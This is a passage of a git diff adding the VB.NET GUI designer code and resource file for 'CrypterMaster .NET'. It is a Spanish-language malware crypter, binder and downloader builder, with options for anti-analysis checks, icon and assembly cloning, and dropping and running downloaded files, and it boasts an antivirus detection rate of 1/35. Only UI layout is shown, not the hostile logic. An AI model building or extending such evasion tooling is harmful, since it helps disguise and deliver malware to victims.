Me.HuraGroupBox4.Name = "HuraGroupBox4" + Me.HuraGroupBox4.Size = New System.Drawing.Size(220, 80) + Me.HuraGroupBox4.TabIndex = 6 + Me.HuraGroupBox4.Text = "HuraGroupBox4" + ' + 'chkEjecutar_Downloader + ' + Me.chkEjecutar_Downloader.BaseColour = System.Drawing.Color.White + Me.chkEjecutar_Downloader.BorderColour = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer)) + Me.chkEjecutar_Downloader.Checked = False + Me.chkEjecutar_Downloader.CheckedColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.chkEjecutar_Downloader.Cursor = System.Windows.Forms.Cursors.Hand + Me.chkEjecutar_Downloader.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.chkEjecutar_Downloader.Location = New System.Drawing.Point(12, 48) + Me.chkEjecutar_Downloader.Name = "chkEjecutar_Downloader" + Me.chkEjecutar_Downloader.Size = New System.Drawing.Size(130, 22) + Me.chkEjecutar_Downloader.TabIndex = 3 + Me.chkEjecutar_Downloader.Text = "Ejecutar archivo" + Me.chkEjecutar_Downloader.Visible = False + ' + 'btnAgregar_Downloader + ' + Me.btnAgregar_Downloader.BackColor = System.Drawing.Color.Transparent + Me.btnAgregar_Downloader.BaseColour = System.Drawing.Color.White + Me.btnAgregar_Downloader.BorderColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.btnAgregar_Downloader.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.btnAgregar_Downloader.HoverColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.btnAgregar_Downloader.Location = New System.Drawing.Point(12, 13) + Me.btnAgregar_Downloader.Name = "btnAgregar_Downloader" + Me.btnAgregar_Downloader.PressedColour = System.Drawing.Color.FromArgb(CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer)) + Me.btnAgregar_Downloader.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.btnAgregar_Downloader.Size = New System.Drawing.Size(94, 26) + Me.btnAgregar_Downloader.TabIndex = 1 + Me.btnAgregar_Downloader.Text = "Agregar URL" + ' + 'btnQuitar_Downloader + ' + Me.btnQuitar_Downloader.BackColor = System.Drawing.Color.Transparent + Me.btnQuitar_Downloader.BaseColour = System.Drawing.Color.White + Me.btnQuitar_Downloader.BorderColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.btnQuitar_Downloader.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.btnQuitar_Downloader.HoverColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.btnQuitar_Downloader.Location = New System.Drawing.Point(116, 13) + Me.btnQuitar_Downloader.Name = "btnQuitar_Downloader" + Me.btnQuitar_Downloader.PressedColour = System.Drawing.Color.FromArgb(CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer)) + Me.btnQuitar_Downloader.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.btnQuitar_Downloader.Size = New System.Drawing.Size(94, 26) + Me.btnQuitar_Downloader.TabIndex = 2 + Me.btnQuitar_Downloader.Text = "Quitar URL" + ' + 'lstArchivos_Downloader + ' + Me.lstArchivos_Downloader.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {Me.colURL_Downloader, Me.colExtension_Downloader, Me.colEjecutar_Downloader}) + Me.lstArchivos_Downloader.ForeColor = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.lstArchivos_Downloader.FullRowSelect = True + Me.lstArchivos_Downloader.GridLines = True + Me.lstArchivos_Downloader.Location = New System.Drawing.Point(3, 6) + Me.lstArchivos_Downloader.MultiSelect = False + Me.lstArchivos_Downloader.Name = "lstArchivos_Downloader" + Me.lstArchivos_Downloader.Size = New System.Drawing.Size(419, 111) + Me.lstArchivos_Downloader.TabIndex = 5 + Me.lstArchivos_Downloader.UseCompatibleStateImageBehavior = False + Me.lstArchivos_Downloader.View = System.Windows.Forms.View.Details + ' + 'colURL_Downloader + ' + Me.colURL_Downloader.Text = "URL" + Me.colURL_Downloader.Width = 272 + ' + 'colExtension_Downloader + ' + Me.colExtension_Downloader.Text = "Ext." + ' + 'colEjecutar_Downloader + ' + Me.colEjecutar_Downloader.Text = "Ejecutar" + Me.colEjecutar_Downloader.Width = 66 + ' + 'comboDrop_Downloader + ' + Me.comboDrop_Downloader.AccentColor = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer)) + Me.comboDrop_Downloader.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.comboDrop_Downloader.ColorScheme = CrypterMaster.HuraComboBox.ColorSchemes.Dark + Me.comboDrop_Downloader.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed + Me.comboDrop_Downloader.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList + Me.comboDrop_Downloader.Font = New System.Drawing.Font("Segoe UI", 9.5!) + Me.comboDrop_Downloader.ForeColor = System.Drawing.Color.White + Me.comboDrop_Downloader.FormattingEnabled = True + Me.comboDrop_Downloader.Items.AddRange(New Object() {"%App.Path%", "%Temp%", "%AppData%", "%UserProfile%", "%MyDocuments%"}) + Me.comboDrop_Downloader.Location = New System.Drawing.Point(428, 92) + Me.comboDrop_Downloader.Name = "comboDrop_Downloader" + Me.comboDrop_Downloader.Size = New System.Drawing.Size(219, 25) + Me.comboDrop_Downloader.TabIndex = 7 + ' + 'tabOpciones + ' + Me.tabOpciones.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.tabOpciones.Controls.Add(Me.Label8) + Me.tabOpciones.Controls.Add(Me.updwnRetraso) + Me.tabOpciones.Controls.Add(Me.btnAssembly) + Me.tabOpciones.Controls.Add(Me.btnIcono) + Me.tabOpciones.Controls.Add(Me.chkRetraso) + Me.tabOpciones.Controls.Add(Me.txtAssembly) + Me.tabOpciones.Controls.Add(Me.txtIcono) + Me.tabOpciones.Controls.Add(Me.chkAssembly) + Me.tabOpciones.Controls.Add(Me.chkIcono) + Me.tabOpciones.Controls.Add(Me.chkAntis) + Me.tabOpciones.Location = New System.Drawing.Point(4, 34) + Me.tabOpciones.Name = "tabOpciones" + Me.tabOpciones.Size = New System.Drawing.Size(654, 123) + Me.tabOpciones.TabIndex = 3 + Me.tabOpciones.Text = "Opciones" + ' + 'Label8 + ' + Me.Label8.AutoSize = True + Me.Label8.ForeColor = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer)) + Me.Label8.Location = New System.Drawing.Point(366, 12) + Me.Label8.Name = "Label8" + Me.Label8.Size = New System.Drawing.Size(65, 17) + Me.Label8.TabIndex = 10 + Me.Label8.Text = "segundos" + ' + 'updwnRetraso + ' + Me.updwnRetraso.Enabled = False + Me.updwnRetraso.ForeColor = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.updwnRetraso.Location = New System.Drawing.Point(308, 9) + Me.updwnRetraso.Name = "updwnRetraso" + Me.updwnRetraso.Size = New System.Drawing.Size(55, 24) + Me.updwnRetraso.TabIndex = 8 + ' + 'btnAssembly + ' + Me.btnAssembly.BackColor = System.Drawing.Color.Transparent + Me.btnAssembly.BaseColour = System.Drawing.Color.White + Me.btnAssembly.BorderColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.btnAssembly.Enabled = False + Me.btnAssembly.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.btnAssembly.HoverColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.btnAssembly.Location = New System.Drawing.Point(527, 78) + Me.btnAssembly.Name = "btnAssembly" + Me.btnAssembly.PressedColour = System.Drawing.Color.FromArgb(CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer)) + Me.btnAssembly.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.btnAssembly.Size = New System.Drawing.Size(116, 29) + Me.btnAssembly.TabIndex = 7 + Me.btnAssembly.Text = "Seleccionar" + ' + 'btnIcono + ' + Me.btnIcono.BackColor = System.Drawing.Color.Transparent + Me.btnIcono.BaseColour = System.Drawing.Color.White + Me.btnIcono.BorderColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.btnIcono.Enabled = False + Me.btnIcono.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.btnIcono.HoverColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.btnIcono.Location = New System.Drawing.Point(527, 43) + Me.btnIcono.Name = "btnIcono" + Me.btnIcono.PressedColour = System.Drawing.Color.FromArgb(CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer), CType(CType(245, Byte), Integer)) + Me.btnIcono.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.btnIcono.Size = New System.Drawing.Size(116, 29) + Me.btnIcono.TabIndex = 6 + Me.btnIcono.Text = "Seleccionar" + ' + 'chkRetraso + ' + Me.chkRetraso.BaseColour = System.Drawing.Color.White + Me.chkRetraso.BorderColour = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer)) + Me.chkRetraso.Checked = False + Me.chkRetraso.CheckedColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.chkRetraso.Cursor = System.Windows.Forms.Cursors.Hand + Me.chkRetraso.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.chkRetraso.Location = New System.Drawing.Point(150, 10) + Me.chkRetraso.Name = "chkRetraso" + Me.chkRetraso.Size = New System.Drawing.Size(151, 22) + Me.chkRetraso.TabIndex = 5 + Me.chkRetraso.Text = "Retraso de ejecución" + ' + 'txtAssembly + ' + Me.txtAssembly.BackColor = System.Drawing.Color.Transparent + Me.txtAssembly.BackgroundColour = System.Drawing.Color.White + Me.txtAssembly.BorderColour = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer)) + Me.txtAssembly.Location = New System.Drawing.Point(150, 78) + Me.txtAssembly.MaxLength = 32767 + Me.txtAssembly.Multiline = False + Me.txtAssembly.Name = "txtAssembly" + Me.txtAssembly.ReadOnly = True + Me.txtAssembly.Size = New System.Drawing.Size(371, 29) + Me.txtAssembly.Style = CrypterMaster.HuraTextBox.Styles.Normal + Me.txtAssembly.TabIndex = 4 + Me.txtAssembly.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.txtAssembly.TextColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.txtAssembly.UseSystemPasswordChar = False + ' + 'txtIcono + ' + Me.txtIcono.BackColor = System.Drawing.Color.Transparent + Me.txtIcono.BackgroundColour = System.Drawing.Color.White + Me.txtIcono.BorderColour = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer)) + Me.txtIcono.Location = New System.Drawing.Point(150, 43) + Me.txtIcono.MaxLength = 32767 + Me.txtIcono.Multiline = False + Me.txtIcono.Name = "txtIcono" + Me.txtIcono.ReadOnly = True + Me.txtIcono.Size = New System.Drawing.Size(371, 29) + Me.txtIcono.Style = CrypterMaster.HuraTextBox.Styles.Normal + Me.txtIcono.TabIndex = 3 + Me.txtIcono.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.txtIcono.TextColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.txtIcono.UseSystemPasswordChar = False + ' + 'chkAssembly + ' + Me.chkAssembly.BaseColour = System.Drawing.Color.White + Me.chkAssembly.BorderColour = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer)) + Me.chkAssembly.Checked = False + Me.chkAssembly.CheckedColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.chkAssembly.Cursor = System.Windows.Forms.Cursors.Hand + Me.chkAssembly.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.chkAssembly.Location = New System.Drawing.Point(10, 82) + Me.chkAssembly.Name = "chkAssembly" + Me.chkAssembly.Size = New System.Drawing.Size(134, 22) + Me.chkAssembly.TabIndex = 2 + Me.chkAssembly.Text = "Clonar Assembly" + ' + 'chkIcono + ' + Me.chkIcono.BaseColour = System.Drawing.Color.White + Me.chkIcono.BorderColour = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer)) + Me.chkIcono.Checked = False + Me.chkIcono.CheckedColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.chkIcono.Cursor = System.Windows.Forms.Cursors.Hand + Me.chkIcono.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.chkIcono.Location = New System.Drawing.Point(10, 46) + Me.chkIcono.Name = "chkIcono" + Me.chkIcono.Size = New System.Drawing.Size(134, 22) + Me.chkIcono.TabIndex = 1 + Me.chkIcono.Text = "Cambiar Icono" + ' + 'chkAntis + ' + Me.chkAntis.BaseColour = System.Drawing.Color.White + Me.chkAntis.BorderColour = System.Drawing.Color.FromArgb(CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer), CType(CType(180, Byte), Integer)) + Me.chkAntis.Checked = False + Me.chkAntis.CheckedColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.chkAntis.Cursor = System.Windows.Forms.Cursors.Hand + Me.chkAntis.FontColour = System.Drawing.Color.FromArgb(CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer), CType(CType(150, Byte), Integer)) + Me.chkAntis.Location = New System.Drawing.Point(10, 10) + Me.chkAntis.Name = "chkAntis" + Me.chkAntis.Size = New System.Drawing.Size(68, 22) + Me.chkAntis.TabIndex = 0 + Me.chkAntis.Text = "Antis" + ' + 'tabAcercaDe + ' + Me.tabAcercaDe.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.tabAcercaDe.Controls.Add(Me.PictureBox2) + Me.tabAcercaDe.Controls.Add(Me.LinkLabel1) + Me.tabAcercaDe.Controls.Add(Me.lblScan) + Me.tabAcercaDe.Controls.Add(Me.Label7) + Me.tabAcercaDe.Controls.Add(Me.Label6) + Me.tabAcercaDe.Controls.Add(Me.Label5) + Me.tabAcercaDe.Controls.Add(Me.Label4) + Me.tabAcercaDe.Controls.Add(Me.HuraGroupBox2) + Me.tabAcercaDe.Location = New System.Drawing.Point(4, 34) + Me.tabAcercaDe.Name = "tabAcercaDe" + Me.tabAcercaDe.Size = New System.Drawing.Size(654, 123) + Me.tabAcercaDe.TabIndex = 4 + Me.tabAcercaDe.Text = "Acerca de" + ' + 'PictureBox2 + ' + Me.PictureBox2.Image = CType(resources.GetObject("PictureBox2.Image"), System.Drawing.Image) + Me.PictureBox2.Location = New System.Drawing.Point(406, 16) + Me.PictureBox2.Name = "PictureBox2" + Me.PictureBox2.Size = New System.Drawing.Size(206, 95) + Me.PictureBox2.TabIndex = 1 + Me.PictureBox2.TabStop = False + ' + 'LinkLabel1 + ' + Me.LinkLabel1.ActiveLinkColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.LinkLabel1.AutoSize = True + Me.LinkLabel1.Location = New System.Drawing.Point(240, 12) + Me.LinkLabel1.Name = "LinkLabel1" + Me.LinkLabel1.Size = New System.Drawing.Size(62, 17) + Me.LinkLabel1.TabIndex = 6 + Me.LinkLabel1.TabStop = True + Me.LinkLabel1.Text = "Ver perfil" + Me.LinkLabel1.VisitedLinkColor = System.Drawing.Color.Blue + ' + 'lblScan + ' + Me.lblScan.ActiveLinkColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.lblScan.AutoSize = True + Me.lblScan.Location = New System.Drawing.Point(237, 68) + Me.lblScan.Name = "lblScan" + Me.lblScan.Size = New System.Drawing.Size(116, 17) + Me.lblScan.TabIndex = 5 + Me.lblScan.TabStop = True + Me.lblScan.Text = "Ver scan en MaJyx" + Me.lblScan.VisitedLinkColor = System.Drawing.Color.Blue + ' + 'Label7 + ' + Me.Label7.AutoSize = True + Me.Label7.ForeColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.Label7.Location = New System.Drawing.Point(123, 94) + Me.Label7.Name = "Label7" + Me.Label7.Size = New System.Drawing.Size(191, 17) + Me.Label7.TabIndex = 4 + Me.Label7.Text = "Fecha de analisis: 09/Julio/2014" + ' + 'Label6 + ' + Me.Label6.AutoSize = True + Me.Label6.ForeColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.Label6.Location = New System.Drawing.Point(123, 67) + Me.Label6.Name = "Label6" + Me.Label6.Size = New System.Drawing.Size(111, 17) + Me.Label6.TabIndex = 3 + Me.Label6.Text = "Detecciones: 1/35" + ' + 'Label5 + ' + Me.Label5.AutoSize = True + Me.Label5.ForeColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.Label5.Location = New System.Drawing.Point(123, 40) + Me.Label5.Name = "Label5" + Me.Label5.Size = New System.Drawing.Size(109, 17) + Me.Label5.TabIndex = 2 + Me.Label5.Text = "Lenguaje: VB.NET" + ' + 'Label4 + ' + Me.Label4.AutoSize = True + Me.Label4.ForeColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(220, Byte), Integer)) + Me.Label4.Location = New System.Drawing.Point(123, 12) + Me.Label4.Name = "Label4" + Me.Label4.Size = New System.Drawing.Size(111, 17) + Me.Label4.TabIndex = 1 + Me.Label4.Text = "Coder: chequinho" + ' + 'HuraGroupBox2 + ' + Me.HuraGroupBox2.BackColor = System.Drawing.Color.White + Me.HuraGroupBox2.Controls.Add(Me.PictureBox1) + Me.HuraGroupBox2.Location = New System.Drawing.Point(3, 3) + Me.HuraGroupBox2.Name = "HuraGroupBox2" + Me.HuraGroupBox2.Size = New System.Drawing.Size(117, 117) + Me.HuraGroupBox2.TabIndex = 0 + Me.HuraGroupBox2.Text = "HuraGroupBox2" + ' + 'PictureBox1 + ' + Me.PictureBox1.Image = CType(resources.GetObject("PictureBox1.Image"), System.Drawing.Image) + Me.PictureBox1.Location = New System.Drawing.Point(3, 3) + Me.PictureBox1.Name = "PictureBox1" + Me.PictureBox1.Size = New System.Drawing.Size(111, 111) + Me.PictureBox1.TabIndex = 0 + Me.PictureBox1.TabStop = False + ' + 'HuraControlBox1 + ' + Me.HuraControlBox1.AccentColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(178, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.HuraControlBox1.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) + Me.HuraControlBox1.BackColor = System.Drawing.Color.White + Me.HuraControlBox1.ColorScheme = CrypterMaster.HuraControlBox.ColorSchemes.Dark + Me.HuraControlBox1.ForeColor = System.Drawing.Color.White + Me.HuraControlBox1.Location = New System.Drawing.Point(582, 3) + Me.HuraControlBox1.Name = "HuraControlBox1" + Me.HuraControlBox1.Size = New System.Drawing.Size(100, 25) + Me.HuraControlBox1.TabIndex = 2 + Me.HuraControlBox1.Text = "HuraControlBox1" + ' + 'GUI + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(685, 231) + Me.Controls.Add(Me.HuraGUI) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.Name = "GUI" + Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.Text = "CrypterMaster .NET" + Me.HuraGUI.ResumeLayout(False) + Me.tabControl.ResumeLayout(False) + Me.TabCrypter.ResumeLayout(False) + Me.TabCrypter.PerformLayout() + Me.HuraGroupBox1.ResumeLayout(False) + Me.HuraGroupBox1.PerformLayout() + Me.TabBinder.ResumeLayout(False) + Me.HuraGroupBox3.ResumeLayout(False) + Me.TabDownloader.ResumeLayout(False) + Me.HuraGroupBox4.ResumeLayout(False) + Me.tabOpciones.ResumeLayout(False) + Me.tabOpciones.PerformLayout() + CType(Me.updwnRetraso, System.ComponentModel.ISupportInitialize).EndInit() + Me.tabAcercaDe.ResumeLayout(False) + Me.tabAcercaDe.PerformLayout() + CType(Me.PictureBox2, System.ComponentModel.ISupportInitialize).EndInit() + Me.HuraGroupBox2.ResumeLayout(False) + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit() + Me.ResumeLayout(False) + + End Sub + Friend WithEvents HuraGUI As CrypterMaster.HuraForm + Friend WithEvents HuraControlBox1 As CrypterMaster.HuraControlBox + Friend WithEvents tabControl As CrypterMaster.HuraTabControl + Friend WithEvents TabCrypter As System.Windows.Forms.TabPage + Friend WithEvents TabBinder As System.Windows.Forms.TabPage + Friend WithEvents TabDownloader As System.Windows.Forms.TabPage + Friend WithEvents tabOpciones As System.Windows.Forms.TabPage + Friend WithEvents tabAcercaDe As System.Windows.Forms.TabPage + Friend WithEvents txtArchivo_Crypter As CrypterMaster.HuraTextBox + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents btnSeleccionar_Crypter As CrypterMaster.HuraButton + Friend WithEvents btnGenerar_Crypter As CrypterMaster.HuraButton + Friend WithEvents txtClave_Crypter As CrypterMaster.HuraTextBox + Friend WithEvents Label2 As System.Windows.Forms.Label + Friend WithEvents HuraGroupBox1 As CrypterMaster.HuraGroupBox + Friend WithEvents rbtnUnknown_Crypter As CrypterMaster.HuraRadioButton + Friend WithEvents rbtnStairs_Crypter As CrypterMaster.HuraRadioButton + Friend WithEvents Label3 As System.Windows.Forms.Label + Friend WithEvents HuraGroupBox2 As CrypterMaster.HuraGroupBox + Friend WithEvents Label7 As System.Windows.Forms.Label + Friend WithEvents Label6 As System.Windows.Forms.Label + Friend WithEvents Label5 As System.Windows.Forms.Label + Friend WithEvents Label4 As System.Windows.Forms.Label + Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox + Friend WithEvents lstArchivos_Binder As System.Windows.Forms.ListView + Friend WithEvents comboDrop_Binder As CrypterMaster.HuraComboBox + Friend WithEvents HuraGroupBox3 As CrypterMaster.HuraGroupBox + Friend WithEvents chkEjecutar_Binder As CrypterMaster.HuraCheckBox + Friend WithEvents btnAgregar_Binder As CrypterMaster.HuraButton + Friend WithEvents btnQuitar_Binder As CrypterMaster.HuraButton + Friend WithEvents colArchivo_Binder As System.Windows.Forms.ColumnHeader + Friend WithEvents colEjecutar_Binder As System.Windows.Forms.ColumnHeader + Friend WithEvents HuraGroupBox4 As CrypterMaster.HuraGroupBox + Friend WithEvents chkEjecutar_Downloader As CrypterMaster.HuraCheckBox + Friend WithEvents btnAgregar_Downloader As CrypterMaster.HuraButton + Friend WithEvents btnQuitar_Downloader As CrypterMaster.HuraButton + Friend WithEvents lstArchivos_Downloader As System.Windows.Forms.ListView + Friend WithEvents colURL_Downloader As System.Windows.Forms.ColumnHeader + Friend WithEvents colEjecutar_Downloader As System.Windows.Forms.ColumnHeader + Friend WithEvents comboDrop_Downloader As CrypterMaster.HuraComboBox + Friend WithEvents btnCrear As CrypterMaster.HuraButton + Friend WithEvents progressCrear As CrypterMaster.HuraProgressBar + Friend WithEvents updwnRetraso As System.Windows.Forms.NumericUpDown + Friend WithEvents btnAssembly As CrypterMaster.HuraButton + Friend WithEvents btnIcono As CrypterMaster.HuraButton + Friend WithEvents chkRetraso As CrypterMaster.HuraCheckBox + Friend WithEvents txtAssembly As CrypterMaster.HuraTextBox + Friend WithEvents txtIcono As CrypterMaster.HuraTextBox + Friend WithEvents chkAssembly As CrypterMaster.HuraCheckBox + Friend WithEvents chkIcono As CrypterMaster.HuraCheckBox + Friend WithEvents chkAntis As CrypterMaster.HuraCheckBox + Friend WithEvents LinkLabel1 As System.Windows.Forms.LinkLabel + Friend WithEvents lblScan As System.Windows.Forms.LinkLabel + Friend WithEvents dialogCrypter As System.Windows.Forms.OpenFileDialog + Friend WithEvents dialogBinder As System.Windows.Forms.OpenFileDialog + Friend WithEvents dialogIcono As System.Windows.Forms.OpenFileDialog + Friend WithEvents dialogAssembly As System.Windows.Forms.OpenFileDialog + Friend WithEvents Label8 As System.Windows.Forms.Label + Friend WithEvents colExtension_Downloader As System.Windows.Forms.ColumnHeader + Friend WithEvents dialogCrear As System.Windows.Forms.SaveFileDialog + Friend WithEvents PictureBox2 As System.Windows.Forms.PictureBox + +End Class diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/GUI.resx b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/GUI.resx new file mode 100644 index 0000000..d36875f --- /dev/null +++ b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/GUI.resx @@ -0,0 +1,2275 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + 159, 17 + + + 280, 17 + + + 396, 17 + + + 533, 17 + + + + + iVBORw0KGgoAAAANSUhEUgAAAMcAAABPCAYAAABf5tFzAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAO + vgAADr4B6kKxwAAAABZ0RVh0U29mdHdhcmUAcGFpbnQubmV0IDQuMDvo9WkAAEdCSURBVHhe7X0FVFXb + 9zUoitiBSAmC2N2F3YmB+ezuBBu7EFERERsVCxRFwUAUBBWkpCRFEAQsJKVjfmsduD7Eq4L63t/3+1hj + zHFqn332hTX3XGuf2BKlVmqlVmqlVmq/1wBIFkZeXp6GCImJiRpRUVEaXl5eGhYWFhqbN2/WWLhwoYa2 + trZG06ZNNerXry8WfKxNmzZCOS7P5507d07DxcVFqI/rTU9PF11Hhprx+fr5rfp9Vvi3eXp6lqM2yDx9 + +rSqi8vzmo8feynStpK7u586/0YXl7/B2wwnJ/e6XObJkydyjx49quHj41Pp9u3b0lRfGVG9dJnf3u5S + +z+yd+/eaZw/f37Y2bNn5xOM9fX1zVevXm2+atWq86ampnlGRkY4dOgQDh8+jAMHDmD//v0wNDTE7t27 + BezcuRPbtm0Tlrt27foKO3bsEI7zkrf37NkDAwMDoZ6DBw+C6zc2Nhbq1tXVvUcEMqel+bp168xofQWd + M5/IOMvKyqrPgwcPWkVERFQoaPo3jRy/orObW0M3N68etD7Oy8tniY/P853PA4NOBgeH3AwNffHo5ctw + 